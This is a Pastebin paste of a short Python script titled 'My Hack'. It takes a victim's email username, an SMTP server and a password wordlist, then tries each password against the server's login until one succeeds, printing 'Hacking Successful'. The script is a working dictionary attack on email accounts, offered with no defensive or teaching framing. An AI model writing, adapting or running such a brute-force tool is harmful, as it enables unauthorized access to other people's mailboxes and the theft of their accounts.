Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- title = 'My Hack'
- title = title.center(75,'-') + '\n'
- print (title)
- # Getting input required inputs
- victim_username = input('Enter the victims username/mailid : > ')
- hostname = input('Enter the hostname of the SMTP Server : > ')
- port = input('Enter the port : > ')
- filepath = input('Enter the dictonary filepath : > ')
- # Creating the file Instance
- file = open(filepath, 'r')
- # Create a client Instance
- print('[*] Initianting the hack attack.......')
- server = smtplib.SMTP(hostname, port)
- # For extended helo
- server .ehlo()
- # For TLS over the connection
- server.starttls()
- # Reading the File of all the Passwords
- for passwd in file:
- passwd = passwd.rstrip()
- print('Trying the password = ' + passwd)
- try:
- # make a login req
- server.login(victim_username,passwd)
- print('[*] Hacking Successful')
- server.close()
- except smtplib.SMTPAuthenticationError:
- print('[!] Login Failed')
- print('\nPress any Key to exit the Script')
Add Comment
Please, Sign In to add comment